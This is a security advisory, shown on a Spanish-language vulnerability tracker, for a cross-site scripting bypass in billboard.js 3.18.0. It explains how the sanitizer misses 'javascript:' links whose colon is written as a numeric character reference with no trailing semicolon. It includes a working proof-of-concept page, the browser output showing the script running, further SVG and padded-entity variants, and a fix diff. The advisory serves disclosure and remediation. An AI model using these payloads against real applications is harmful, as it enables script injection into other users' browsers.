GHSA-99X2-MMF4-24F9
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') and Improper Neutralization of Alternate XSS Syntax in billboard.js
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 4.0.0 | billboard.js · -122 d desde divulgación | |
| Divulgación | Publicada | GHSA-99X2-MMF4-24F9 divulgada · CVSS 6.1 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
This is an incomplete fix of CVE-2026-1513 / GHSA-rpc5-pm7q-hjmp ("XSS due to improper sanitization during chart option binding," fixed in 3.18.0 by introducing the whitelist sanitizer `sanitize()`). billboard.js@3.18.0 renders chart data (x-axis category names, series ids/names) as HTML in its default tooltip (and in the first-party `tableview` plugin), passing all such HTML through `sanitize()` (`src/module/sanitize.ts`) before insertion via d3 `.html()` / `innerHTML`. The new sanitizer correctly blocks a literal `javascript:` URI — but its URI guard `isSafeURI()` fails to neutralize the scheme when the colon is written as a decimal numeric character reference without a trailing semicolon (e.g. `javascript:alert(1)`). The browser’s HTML parser decodes `:` → `:` when the sanitized string is assigned to `innerHTML`, reconstructing an executable `javascript:` URI on an `<a href>` / SVG `<a xlink:href>` — re-enabling the same XSS class CVE-2026-1513 was meant to close.
An application that charts attacker-controlled labels in the default configuration is therefore exposed to XSS: the malicious link executes when a user clicks it in the rendered tooltip or data table.
- Affected: `billboard.js == 3.18.0` (current latest — the version that fixed CVE-2026-1513; the fix is bypassable). `src/module/sanitize.ts` (`decodeHTMLEntities` ~L205–221, `isSafeURI` ~L229–260).
- Relationship to CVE-2026-1513: distinct, separately reportable patch-bypass. The 3.18.0 sanitizer blocks the original literal-`javascript:` / `on*` vectors (verified: `<a href="javascript:…">` → href stripped); this finding evades it via the numeric-entity gap. Same bug class, same CWE/CVSS, new vector.
- CWE: CWE-79
https://cwe.mitre.org/data/definitions/79.htmlvia CWE-87https://cwe.mitre.org/data/definitions/87.html(Improper Neutralization of Alternate XSS Syntax). - CVSS v3.1 (proposed): `AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N` = 6.1 Medium (identical to CVE-2026-1513’s own vector). `UI:R` because the surviving vector is a `javascript:` URI that fires on click/navigation, not automatically (no `on*` handler or `<script>` survives the sanitizer).
Details
Root cause
`decodeHTMLEntities()` decodes numeric character references only when they are terminated by a semicolon:
// src/module/sanitize.ts
.replace(/&#(\d+);/gi, (_, code) => String.fromCharCode(parseInt(code, 10))) // decimal — requires ';'
.replace(/&#x([0-9a-f]+);/gi, (_, code) => String.fromCharCode(parseInt(code, 16))); // hex — requires ';'`isSafeURI()` decodes entities, strips whitespace/control chars, and then classifies the URI:
function isSafeURI(uri) {
const decoded = decodeHTMLEntities(uri).trim();
const normalized = decoded.replace(/[\s -]/g, "").toLowerCase();
...
if ( normalized.startsWith("/") || normalized.startsWith("./") ||
normalized.startsWith("../") || !normalized.includes(":") ) {
return true; // ← treated as a safe relative path
}
const colonIndex = normalized.indexOf(":");
if (colonIndex > 0) {
const protocol = normalized.substring(0, colonIndex + 1);
return ALLOWED_URI_PROTOCOLS.has(protocol); // http:/https:/mailto: only
}
return false;
}For the value `javascript:alert(1)`:
1. `decodeHTMLEntities` does not decode `:` because there is no trailing `;` (the regex requires one). The string is unchanged.
2. `normalized` is `javascript:alert(1)` — it contains no literal `:`, so the `!normalized.includes(":")` branch returns `true`: the URI is classified as a safe relative path.
3. `sanitizeAttrValue()` returns the `href` / `xlink:href` value verbatim, and `sanitize()` emits the `<a>` tag intact (both `<a>` and `href` are whitelisted).
The HTML5 tokenizer, however, treats the trailing `;` on a numeric character reference as optional: when the sanitized string is later assigned to `innerHTML` (which is exactly how d3 `.html()` works), the browser decodes `:` → `:` and reconstructs `href="javascript:alert(1)"`.
The decimal form is the reliable vector: a non-digit (e.g. the `a` in `alert`) terminates the numeric run. (The hex form `:` is unreliable because the parser greedily consumes following hex characters — `Ϊlert` decodes to `Ϊlert`.) The semicolon-terminated forms (`:`, `:`) are correctly blocked, which confirms the defect is specifically the missing-semicolon gap.
Why it’s reachable in the default configuration (data-driven, no developer function)
The tooltip title format defaults to the category-name formatter, and the name format defaults to the identity function — both insert chart data verbatim:
- `ChartInternal/internals/tooltip.ts:124` — `titleFormat = isFunction(titleFn) ? titleFn.bind(api) : defaultTitleFormat`. For a category x-axis, `defaultTitleFormat` resolves to `$$.categoryName` (`tooltip.ts:571` → `getXAxisTickFormat()` → `Axis.ts:818`), which returns `config.axis_x_categories[index]` verbatim.
- `ChartInternal/internals/tooltip.ts:125` — `nameFormat = isFunction(nameFn) ? nameFn.bind(api) : (name => name)` (identity). `NAME = row.name ?? row.id`.
- The title/name are substituted into the tooltip template by `tplProcess()` (`module/util/object.ts:369`), whose output is `sanitize(...)`, then inserted with `.html()` at `tooltip.ts:569`.
So a chart whose category labels (or series ids/names) come from user input renders those strings through `sanitize()` → `.html()` with no developer-supplied HTML/format function involved. The same sink shape exists in the first-party `tableview` plugin (`Plugin/tableview/index.ts:143`, `element.innerHTML = tplProcess(...)`), whose default `categoryFormat` returns the category name verbatim.
This matters for scope: the library’s contract is that it *sanitizes* label HTML, so an integrator who charts user data reasonably relies on that protection. The bypass breaks that contract in default usage; it is not a case of a developer injecting their own raw HTML via a custom callback.
PoC
Verified end-to-end against the published `billboard.js@3.18.0` in real Google Chrome (headless), driving only the public API (`bb.generate` + `chart.tooltip.show`).
`poc.html`
<!DOCTYPE html><html><head><meta charset="utf-8">
<link rel="stylesheet" href="./node_modules/billboard.js/dist/billboard.css"></head>
<body><div id="chart"></div>
<script src="./node_modules/billboard.js/dist/billboard.pkgd.js"></script>
<script>
window.__xss = 0;
// ATTACKER-CONTROLLED DATA: an x-axis category label. No developer HTML/format function is used.
const evilCategory = '<a id="evil" href="javascript:window.__xss=1">x</a>';
const chart = bb.generate({
bindto: "#chart",
data: { columns: [["data1", 30, 200, 100]], type: "bar" },
axis: { x: { type: "category", categories: [evilCategory, "b", "c"] } }
});
// Public API — equivalent to a user hovering the first bar.
chart.tooltip.show({ index: 0 });
</script></body></html>Driver (`drive.cjs`, puppeteer-core → system Chrome): loads `poc.html`, reads the rendered tooltip’s `<a href>`, then clicks it and checks the proof flag.
Observed output:
tooltip present : true
tooltip <a> href: "javascript:window.__xss=1"
window.__xss : 1 => JAVASCRIPT EXECUTED
tooltip outerHTML:
<table class="bb-tooltip"><tbody><tr><th colspan="2"><a id="evil"
href="javascript:window.__xss=1">x</a></th></tr>
<tr class="bb-tooltip-name-data1"><td class="name">
<span style="background-color:#1f77b4"></span>data1</td>
<td class="value">30</td></tr></tbody></table>
RESULT: VULNERABLE (end-to-end XSS via default tooltip, real Chrome, published 3.18.0)The sanitizer passed `javascript:window.__xss=1` through unchanged; the browser decoded `:` → `:` on insertion, producing a live `href="javascript:window.__xss=1"`; clicking the tooltip link executed the JavaScript (`window.__xss === 1`).
`npm ls billboard.js` → `billboard.js@3.18.0`.
Additional vectors (same root cause)
- SVG anchor: `<svg><a xlink:href="javascript:alert(1)"><text x="10" y="20">x</text></a></svg>` (`xlink:href` ∈ `URI_ATTRS`; `svg`/`a`/`text` whitelisted) — also reconstructs an executable URI.
- Leading-zero padding (`:`) is an equivalent obfuscation of the same gap.
Impact
- Who: any application that renders attacker-influenced strings as billboard.js x-axis category names or series ids/names (dashboards over user-submitted data, multi-tenant analytics, etc.), in the default tooltip configuration. The first-party `tableview` plugin is also affected.
- What: stored/reflected DOM XSS in the host page’s origin. Execution requires the victim to surface the tooltip (hover) or table and click the crafted link — there is no auto-firing primitive, because the sanitizer still strips `on*` handlers and `<script>`. This is why the proposed severity is Medium, not High.
- Default config: yes for the tooltip path (no plugin, no custom callback). The tableview path additionally requires the app to enable the bundled `tableview` plugin.
Recommended fix
In `src/module/sanitize.ts`, make numeric-entity decoding tolerant of the optional trailing semicolon before the URI scheme check, and prefer a scheme allowlist over inferring safety from the absence of a literal colon:
- .replace(/&#(\d+);/gi, (_, code) => String.fromCharCode(parseInt(code, 10)))
- .replace(/&#x([0-9a-f]+);/gi, (_, code) => String.fromCharCode(parseInt(code, 16)));
+ .replace(/&#(\d+);?/gi, (_, code) => String.fromCharCode(parseInt(code, 10)))
+ .replace(/&#x([0-9a-f]+);?/gi, (_, code) => String.fromCharCode(parseInt(code, 16)));Defense-in-depth in `isSafeURI()`: after decoding, if the value contains a `:` before the first `/`, `?`, or `#`, treat the substring up to that `:` as the scheme and reject it unless it is in `ALLOWED_URI_PROTOCOLS` — rather than returning `true` merely because no literal colon is present. Add regression tests for `:`, `:`, `:` (with and without `;`), and mixed-case/whitespace-padded variants on `href` and `xlink:href`.
References
- Parent advisory (incomplete fix): CVE-2026-1513 / GHSA-rpc5-pm7q-hjmp
https://github.com/advisories/GHSA-rpc5-pm7q-hjmp— "billboard.js before 3.18.0 allows … improper sanitization during chart option binding," fixed in 3.18.0 (issue naver/billboard.js#4078). This finding bypasses that fix. - CWE-79: Cross-site Scripting
https://cwe.mitre.org/data/definitions/79.html - CWE-87: Improper Neutralization of Alternate XSS Syntax
https://cwe.mitre.org/data/definitions/87.html - HTML Standard §13.2.5 — numeric character references decode even without a trailing `;` (missing-semicolon parse error, value still emitted).
- Affected code: `src/module/sanitize.ts` (`decodeHTMLEntities`, `isSafeURI`, `sanitizeAttrValue`); sinks: `src/ChartInternal/internals/tooltip.ts:569`, `src/Plugin/tableview/index.ts:143`, `src/module/util/object.ts:369`.
- Disclosure: GitHub private vulnerability reporting is enabled on `naver/billboard.js` (`/security/advisories/new`). No `SECURITY.md` / bug-bounty program; CVE-2026-1513 was published via the Naver CNA, so a coordinated advisory referencing it as the parent is appropriate.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmbillboard.js |
Corregida | 4.0.0 | -122 d | 4.1.4 no afectada |
4.0.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/naver/billboard.js/security/advisories/GHSA-99x2-mmf4-24f9Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
